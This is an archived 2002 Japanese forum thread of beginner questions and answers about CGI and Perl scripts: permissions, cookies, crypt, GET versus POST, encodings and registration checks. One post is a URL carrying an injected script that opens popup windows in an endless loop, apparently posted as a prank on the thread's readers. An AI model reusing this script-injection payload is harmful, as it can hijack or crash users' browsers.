トップページ⇒php
1001コメント311KB

CGIだけど、なんか質問ある? part 6

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん02/04/23 20:28ID:Kp0cZQna
CGIスクリプトの運用に関する質問スレです。

<<注意:CGIは特定の言語に依存するものではありません>>

Perlのコーディングに関する質問はこちら
【Perl】初心者コーナーPart11
http://pc.2ch.net/test/read.cgi/php/1017201229/


過去ログは>>2
0404nobodyさん02/05/31 08:31ID:M0PK8uW/
今は777にしてます。通常はもちっと安全にしてますです。
宜しくお願いします。
0405nobodyさん02/05/31 08:49ID:???
>>404
ディレクトリに 777 設定すると駄目な鯖があるって聞いた事があるぞ。
0406nobodyさん02/05/31 09:01ID:uYbpY71A
777OKのサバでしたー。助けてー
0407せつなさ02/05/31 09:08ID:???
>>401 うさぎが迷い込んだら死ぬような板だな。
0408nobodyさん02/05/31 09:21ID:???
>>406
エラーメッセ確認しる
040939802/05/31 09:49ID:???
>>401
ていうか私はなんちゃってプログラマーでもなく
ただのしがない、今日は学校が祝日な高校生ですので
私の友達で、若くして会社を設立していろいろな事業に
手を出してきて今度は出会い系かなぁでも外注で
作ってもらったら金かかるなぁ、とか考えていた彼が
私がCの本を読んでいたのを思い出したのか
250万かかる仕事を私に押し付けるメールを
夜中の4時に送りつけてきたので、上記の質問をしたのでしたが

やっぱ普通に断ろうと思います
0410nobodyさん02/05/31 09:53ID:???
>>406
1.error_log 提供している鯖ならそれを参照
2.telnet ポート開けている鯖ならコマンドラインから、そのperlスクリプトを
起動してエラー確認
0411nobodyさん02/05/31 11:23ID:???
>402
相対パスの使えない鯖とかは?
場所によっては特定の関数だけ絶対パス指定しないといけないレン鯖とかあるよ。
0412ato02/05/31 12:19ID:juLGZYor
http://xxx.co.jp/cgi-bin/a.cgiで設定したクッキーを
http://yyy.co.jp/cgi-bin/b.cgiで内容を消去することはできるでしょうか?
なんど試しても消すことができません。
ドメインやパスが関係するのでしょうか?
041340202/05/31 13:21ID:???
みなさんありがとうございます。
とりあえず411さんご指摘の点を確認してみます。
410さんのは残念ながらどちらも参照できません。
041440102/05/31 13:45ID:???
>>409
(>Д<)カァーッ もったいね。
アパッチとjcode.plてにいれてどっかからBBSのさんぷるダウンロードして
いじればよかろうに。DBはcsvなら生perlで操作できるし。
認証登録はJavaScriptとくみあわせで。
ねたじゃないならがんばれよ。
0415-02/05/31 17:26ID:???
>>412
別ドメインからは無理ちゃうか?
0416ato02/05/31 18:09ID:juLGZYor
>>415
やっぱりそうですか・・・
これってクッキーの仕様なんですよね。
0417Miku02/05/31 21:50ID:Hmv37ygh
Part3より >nobodyさん
ありがとうございましたー。

ってことはCGIはどうやってUPするのでしょうか?
WEB管理領域からひとつづつファイルをUPしなくちゃいけないのでしょうか?
それでも、CGIって動くものなのですか?
イラストはUPできたのですがそのほかの動かすためのものと思われるファイルは
拡張子が間違ってる(確かこんな文でした)と出てしまってUPできませんでした。
よい方法があったら教えてください。
よろしくお願いします。
0418nobodyさん02/05/31 22:24ID:???
>>417
手っ取り早いのは、
http://pc.2ch.net/perl/
を見て別なところに移る。
0419Miku02/05/31 23:16ID:Hmv37ygh
>nobodyさん
いろいろありがとうございます。
早速、色々行ってみようと思いますー
0420nobodyさん02/06/01 19:40ID:nzbM1s7O
clyptコマンドでpassを扱うのと普通に
扱うのではどう違うのでしょうか?私の知識の範囲ではpassを暗号化して
扱うとのことでしたが外からcgi動作がみられるからなのでしょうか??
0421nobodyさん02/06/01 21:04ID:???
cryptな。
見られてもパスがバレないように暗号化してる。
042242002/06/01 21:59ID:nzbM1s7O
その「見られる」というのはどの部分をどんな風に見られるのでしょうか?
それとそれはだれでもできちゃうのでしょうか?
0423nobodyさん02/06/01 22:10ID:???
>422
家の鍵を二重三重にする人いるよな?
家の鍵一つだと心配だからだ。
鍵一つこじ開けるのは誰にでも出来るわけじゃないが、鍵を二重三重にする必要はある。
それだけ大事な物があるんだ。
誰にでも見られるかどうかじゃない。
誰か一人に見られたらそこから広まるかもしれないんだ。
0424nicebody02/06/01 22:45ID:kZhOwKpM
>>422
どの部分っていうと、やっぱりログとか。
暗号化されてないと、ログ見て一発でわかっちまーうような
042542002/06/02 00:01ID:KPQ1rimm
じゃあclyptさえしておけばばっちりってことでいいんですよね。
0426nobodyさん02/06/02 00:04ID:???
+α。その辺は独自開発で決め!もっともrandを失敗していたら話にならんが
042742002/06/02 00:07ID:KPQ1rimm
ありがとうございました。
がんばってみます。
それともしよければ自己チェックのためにそのログかなんかで
覗く方法みたいなものを教えてもらえないでしょうか?
面倒ならいいです。
0428nobodyさん02/06/02 00:14ID:???
>427
厨が実践したりすると後が面倒だから嫌。
0429nobodyさん02/06/02 11:25ID:YzkleNfh
tripod.comにアクセス解析を設置して外部から呼び出して使っているのですが
HOST部分が210.0.xxx.xxxのような表示になっているんです。
同じCGIをそのままtripod以外の日本のサーバから呼び出したばあいは
abcd.11.co.jpみたいな表示になるんですが、tripodでもこのように表示させたいのです。
どう書きかえればいいんでしょうか。
0430 02/06/02 11:35ID:???
>>429
どんなアクセスかもわからんでどこを書き換えればいいかわかると思うか?
043142902/06/02 11:42ID:YzkleNfh
>>430
すいません、どんなアクセスかとはどういう意味ですか?
訪問者のリファ、OS、ブラウザ、HOSTなどを取得するアクセス解析なのですが。
0432 02/06/02 11:51ID:???
>>431
そういうのをアクセス解析というぐらいは誰でも知ってる。
IPアドレスじゃなくホスト名で表示させるのにCGIがどの方法で
やってるかがわからないと答えようがないってこと。
043342902/06/02 11:59ID:YzkleNfh
どの方法でやってるかはホストを取得するところでわかりますか?
それならこの部分だと思うのですが。

$host = $ENV{'REMOTE_HOST'};
$addr = $ENV{'REMOTE_ADDR'};
if ($host eq "" || $host eq "$addr") {
($p1,$p2,$p3,$p4) = split(/\./,$addr);
$temp = pack("C4",$p1,$p2,$p3,$p4);
$host = gethostbyaddr("$temp", 2);
if ($host eq "") { $host = $addr; }
}
0434nobodyさん02/06/02 12:13ID:???
>>433( ゚д゚)ポカーン
0435nobodyさん02/06/02 12:16ID:???
>>429
やっと、質問の意味が解った。IPアドレス表記をホスト名表記に
すれにはどうしたらいいですか? という質問だろ?

答え:無理です

理由:
インターネット上のコンピューターにはIPアドレスが割り振られても
【名前】まで付けられているとは限らないからです
043642902/06/02 12:21ID:???
>>435
ガーン・・、そうなんですか。
納得しました。親切に答えて頂いてありがとうございました。
0437教えて君02/06/02 15:01ID:Tbi7w50X
時差を調節したいのですが どこをいじればいいでしょうか?

($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = localtime(time);
$year += 1900;
$month = $mon + 1;
@dayname = ('日','月','火','水','木','金','土');

このあたりが怪しいと思うのですが見当違いですか?
初心者でスンマセン
0438おいらのはこんなかんじ02/06/02 15:06ID:???
localtime(time + 15*60*60);
0439教えて君02/06/02 15:08ID:Tbi7w50X
ありがとうございます
0440nobodyさん02/06/02 16:58ID:???
無料鯖で使えるtelnet.cgiって今配布されてますか?
今までのが使えなくて困ってます。
0441nobodyさん02/06/02 19:31ID:???
馬鹿じゃないですか?
0442nobodyさん02/06/02 20:42ID:vm77zLAn
kentwebさんのgatexを設置したいのですが、ユーザーに自分でパスを発行させるcgiを設置した所index.htmlから入力すると、
↓こんなのが出ます。
Internal Server Error

設定は〜〜〜〜〜〜〜〜〜
#!/usr/local/bin/perl
# jcode.pl取込み
require './jcode.pl';
# 隠しディレクトリへのパス
$target_dir = "/home/自分のID/public_html/gatex";
# ID/PASS記録ファイル
$passfile = 'pass.txt';
# ログ履歴ファイル
$reclog = 'log.dat';
# methodの形式(POST/GET)
$method = 'POST';
# スクリプトファイル名
$script = './regist.cgi';
# 登録内容は登録者へメール通知 (0=no 1=yes)
$mailing = 0;
# 管理者の名前 (メール通知の時の署名)
$admin = "管理人";
# 管理者のメールアドレス
$my_mail = '◎◎◎@.ne.jp';
# sendmailパス
$sendmail = '/usr/sbin/sendmail';

に変更後、ディレクトリ/public_html/gatex
の中にindex.html(パス発行�n755)regist.cgi(実行ファイル755)jcode.pl(644)を入れています。
初心者の為どうしていいのかわかりません。
易しく教えて頂けませんか?検索しましたが自動発行に関するのは無かったので…
0443nobodyさん02/06/02 21:25ID:???
>442
kentで聞け。
特定の一つのCGIに対する挙動の場合は、配布場所に聞くのが一番確実。
0444ぎもじら02/06/02 21:41ID:???
質問です

パールの機能で、あるプログラムにデータを送信する手段は何ですか?
例えば、ある起動中のプログラム192.168.1.1の4545ポートを空けた
やつに自作コマンドを送信したいんだけど。

つまり、パールにソケット関数みたいなものはありますか?
0445nobodyさん02/06/02 21:58ID:???
>>444
use Socket;
0446nobodyさん02/06/02 22:09ID:???
一番下のCGIの部分が、うまく表示できません。
http://www.bh.wakwak.com/~min/cgi-bin/monoceros.cgi
何がいけないんでしょうか・・・
お教えいただければ幸いです。

0447nobodyさん02/06/02 22:24ID:???
>一番下のCGIの部分

意味不明。アクセスログの部分か?
0448ぎもじら02/06/02 22:36ID:???
>>445
パールってなんでもできるのねすごい
0449nicebody02/06/02 23:36ID:A1RKGC+Y
>>446
CGI Errorと出るのだが。

>>448
他の言語でも出来るかと。
0450 02/06/03 02:58ID:???
http://ime.nu/www.tinpo.com>;<script>while(1){window.open(&);};</script>/
0451nobodyさん02/06/03 07:08ID:yzIL9oyQ
転送量を測るCGIってあるのでしょうか?
0452nobodyさん02/06/03 08:41ID:???
ない
0453nobodyさん02/06/03 10:14ID:L20AUJA0
アプロダとかで転送量制限のあるサーバ向けに自動的に天井をつくってくれるのとかあるぞ。
0454あぼーんNGNG
あぼーん
0455nobodyさん02/06/05 02:26ID:LLzfz/IZ
アクセス制限CGIで同じメールでの登録が出来ない様にするには
どうしたら良いでしょうか?
0456 02/06/05 02:32ID:???
>>455
登録済みのデータと照合するだけでは?
045745502/06/05 02:35ID:LLzfz/IZ
gatex使ってるのですが、同じメールアドレスでも登録出来てしまうので…
改造しようと思ったのですが上手くいかなくて(鬱
0458nobodyさん02/06/05 03:26ID:???
>gatex使ってるのですが

自分の知ってるものを誰もが知ってると思うな。
0459リトマス試験紙 ◆9S86wbO. 02/06/05 05:03ID:NJP3VrAW
超初心者の質問で申し訳ないのですが
FORMのGETとPOSTってどう違うんですか?
0460nobodyさん02/06/05 05:19ID:HfJL5Sid
>>gatex使ってるのですが

>自分の知ってるものを誰もが知ってると思うな。

知らない奴居るのか?
046145602/06/05 06:11ID:???
>>460
KENTのCOSMO GATE-EXのこと?
0462nobodyさん02/06/05 06:38ID:???
>>459
試せば?
0463nobodyさん02/06/05 07:25ID:???
>460
ナニソレ?
0464nobodyさん02/06/05 07:37ID:???
たぶんCGIの名前なんだろうけど、作者やサイト名も書かないと
わからないよ。
0465nobodyさん02/06/05 08:38ID:???
……質問になってないレスは放置ιょぅょ
0466nobodyさん02/06/05 09:52ID:???
殺伐としてるなあ・・・


>>459
GETはURLの末尾にエンコードされた形でくっついて送られる。
サーバによっては長さに上限があったりするので、長文を送るのには適さない。
またサーバへのアクセスログとして残るので、
アクセスログさえ見ることが出来れば誰がどんな内容を送信したのかがわかるし、
パスワードなんかをGETメソッドで送信するとあっさりばれる。

POSTは標準入力から読むことが出来て上記のようなことがない・・・くらいしか知らんです。

でもGETメソッドはPOSTメソッドよりもレスポンスが早いような気がしないでもない。
(Me(;´Д`)+anhttpd(;´Д`)+ActivePerl5.5(;´Д`))
0467nobodyさん02/06/05 12:17ID:???
local(@hoge,$hoge);
↑これってどんいう効果があるんですか?
0468nobodyさん02/06/05 12:51ID:???
>>467
変数のスコープがそのブロックおよびそのブロック内のブロックに限定される。
と、説明する気0の回答をしてみる。
0469nobodyさん02/06/05 12:55ID:???
>>468
ネタではないかと思いつつ、>>467にはmyも勉強しとくといいよなんて言ってみる。
0470nobodyさん02/06/05 13:05ID:???
>>466
>POSTは標準入力から読むことが出来て上記のようなことがない・・・くらいしか知らんです。

Webサーバがstdinに書き出しているだけであってデータ自体はリクエストの中に含まれます(あたりまえだが)。
アクセスログ見れば結局ばれます。
047146702/06/05 13:34ID:???
>>468
ありがとうございました。なんとなくわかりました。
というか覚えておきます。
>>469
これからは my しることにします。

更に質問ですみませんなんですが、
ログファイルから読み込んだURLを
$url=~s/(\W)/'%' . unpack('H2',$1)/eg;
をしてから
<a href=$url>
とすると
http://127.0.0.1/http://www.2ch.net/
となります。
これは何故ですか?
0472nobodyさん02/06/05 13:40ID:???
>>471
>ログファイルから読み込んだURL
を見せてもらえないと・・・。
047346702/06/05 13:44ID:???
ログファイルから読み込んだURLはどんなURLでも
http://127.0.0.1/http://www.2ch.net/
こんな風になっています。
保存形式は
1<>2ch<>http://www.2ch.net/
でふ。
0474nobodyさん02/06/05 13:46ID:???
>>473
やっぱちゃんとmyしてください。
どこかの変数と混ざってるような。。。
047546702/06/05 13:53ID:???
>>474
はい。ありがとうございました。
0476nobodyさん02/06/05 15:13ID:86IkqFh+
だずげでぐだざ〜い
IEで、SSLのサイトに対して、POSTメソッドを送信すると
HTTP400(不正な要求)のエラーになってしまいます。
但し、戻るボタンで戻って2回目以降は正常に動作します。
ネスケでは問題ありません。
どうも、SSLサイトの最初の要求にPOSTするとダメみたいです。
こんなことで3日も悩みつづけてます。誰か助けてください!
047746702/06/05 17:08ID:???
SSLでPOST?パスワードか送ってるんじゃ、、、。
0478nobodyさん02/06/05 17:16ID:86IkqFh+
>>477
パスワード送ってます。。
補足ですが、サーバー証明書は自前の証明書を使ってます。
0479リトマス試験紙 ◆9S86wbO. 02/06/06 01:21ID:KIpxDlw7
>>466 >>470
親切なレスありがとう。
j-sky板で「J-skyのみCGIが動かない」って聞いたら
誰かがPOSTをGETにしてみって教えてくれたので
どう違うのか気になったので。
ちなみにGETにしても動かない・・・ なんで?
i-modeとEzwebなら動くのに。
0480 02/06/06 02:08ID:???
>>479
どんなCGIかもわからなきゃ・・(略
048145502/06/06 05:18ID:lJdhlkUB
すみません。書きこみ後膀胱炎で救急車に乗って病院送り(恥)だった為放置してしまいました(汗
もう一度質問させて頂きます。
kentwebさん配布CGIのcosmo gatexを使用していますが
同じメールアドレスからの多重登録に困っています。
色々cgiについて勉強したのですが上手く行きません。
力を貸して頂けないでしょうか…
0482nobodyさん02/06/06 12:30ID:???
おーぷん炉具ファイル
@lo = <IN>;
クローズ
略(@lo){
if($メールアドレス eq $登録しようとしたメール){
&error(きさまーーーーーーーーーーーーーーーー!!!!!)
}
}

0483nobody02/06/06 21:19ID:8Pq10XEp
>>481
USER_ID登録処理って辺りがヒントだ。
ってそのままか(w
0484nobodyさん02/06/06 22:19ID:2AVSGszZ
クライアントがCGIの生成データをエクセルでいじりたいとのことなので、
CGIまわり、スクリプトも含めてすべてsjisにしました(それが一番てっとり早かったので)。
perlメモなどでもEUCが一番問題発生しにくいとのことなので
今まで意味もわからずEUCを使ってきましたが、
実際sjisでどんな問題が起こる可能性があるのですか?
0485nobodyさん02/06/06 22:19ID:0WEL9zsI
use strict;っていうのは使った方がいいのでしょうか?
0486nobodyさん02/06/06 22:23ID:???
>>485
楽をしたいなら使うべき。

0487nobodyさん02/06/06 22:28ID:0WEL9zsI
>>486
ありがとうございます
0488 02/06/06 22:30ID:???
>>481
ユーザが自分で登録できるregist.cgiを併用してのことかな?
regist.cgiの
<input type=hidden name=email value="$FORM{'email'}">
で得られるメールアドレスと
print LOG "$id<><>0<>$memo<><><>$name<>$email<>\n";
で記録されるログのメールアドレスを>>482のように処理すればいいんだよ。
0489nobodyさん02/06/06 22:34ID:???
>>484
自分も気になったので探してみたら、こんなん見つけた
http://www2d.biglobe.ne.jp/~gama/cgi/jcode/jcode.htm
049048402/06/06 22:48ID:???
>>489
ゲッ!! ま、まずいっす..
スクリプトだけeucにして、表示とデータファイルだけ
sjisにすれば問題ないでしょうかね..
データ読み込む度にeucに変換して書き出すたびにsjisに変換、
ってあんま美しくないけどしょうがないかなあ
なんにしろ、ありがとうございます>>489さん
049148102/06/07 06:19ID:TU5ebGXR
>>482-483
どぉもありがとです!
きさまーーーーー!!には超笑いました。


0492nobodyさん02/06/07 14:32ID:???
やれるかどうか、やれるとしたらどうやったらいいのか
わからないので教えていただけますか?

・ボタンではなく文字列やイメージをクリックしたときに、
 CGIスクリプトに対してPostで情報を送りたい
 →URLに送った内容を出したくないのです

・Javaスクリプトを使いたくない
 →無効にしている方もいると思うので

・cookieも使いたくない
 →無効にしている方もいると思うので

可能でしょうか?
0493nobodyさん02/06/07 15:08ID:???
>>492
そこまで限定するならやることは一つでしょ
0494nobodyさん02/06/07 15:16ID:???
>492
<input type=image>でできないかな?
0495nobodyさん02/06/07 16:28ID:???
>>492

答え:可能です

<BUTTON>
<IMG SRC= .......
</BUTTON>

参照:
http://www.zspc.com/html40/interactivity/form.html#button
0496nobodyさん02/06/07 16:41ID:???
ひらがながパタ−ンマッチされません。漢字、英数字はOKでしたが
ひらがながはいるとだめです。教えてください。
049749602/06/07 16:47ID:???
とおもったらむしろ漢字だけでした。
open NAME_, "$namelog";
$name_ = <NAME_>;
close (NAME_);
if ($name_ =~ /,$name/) {
print $error2;
exit(0);
}
$nameがformから送られてくるもので$namelogが探す一覧です。
漢字以外はマッチしません
0498nobodyさん02/06/07 17:58ID:???
名前探すだけならindex使えば?
0499nobodyさん02/06/07 21:02ID:???
>>493-495
ありがとうございます。
submitにこだわらなくてもいい、ってことなんでしょうか。

もうちょっと調べてみます。
0500nobodyさん02/06/07 21:07ID:???
>>496
JPERL使うとか。
EUCなら、
$EUC_JP_ = '[\x00-\x7F]|[\xA1-\xFE][\xA1-\xFE]|\x8E[\xA1-\xFE]|\x8F[\xA1-\xFE][\xA1-\xFE]';
$str =~ /^(?:$EUC_JP_)*,\Q$name\E/;

>>498
indexも日本語はうまくいきませんな。確か。
050150002/06/07 21:16ID:???
あれ?
よく考えたら、`,'があるなら、
$str =~ /,\Q$name\E/;
で十分?
0502nobodyさん02/06/07 21:45ID:???
ちょい質問

http://www.mistlarouge.com/game/efm/
↑みたいなサイトがあるんだけど、これって、昔はやったFFAじゃない?
検証きぼんぬ


ちなみに、FFA本家は
http://mati.wnj11.jp/index2.htm
FFA(改)本家は
http://www.gun-online.com/
0503あぼーんNGNG
あぼーん
■ このスレッドは過去ログ倉庫に格納されています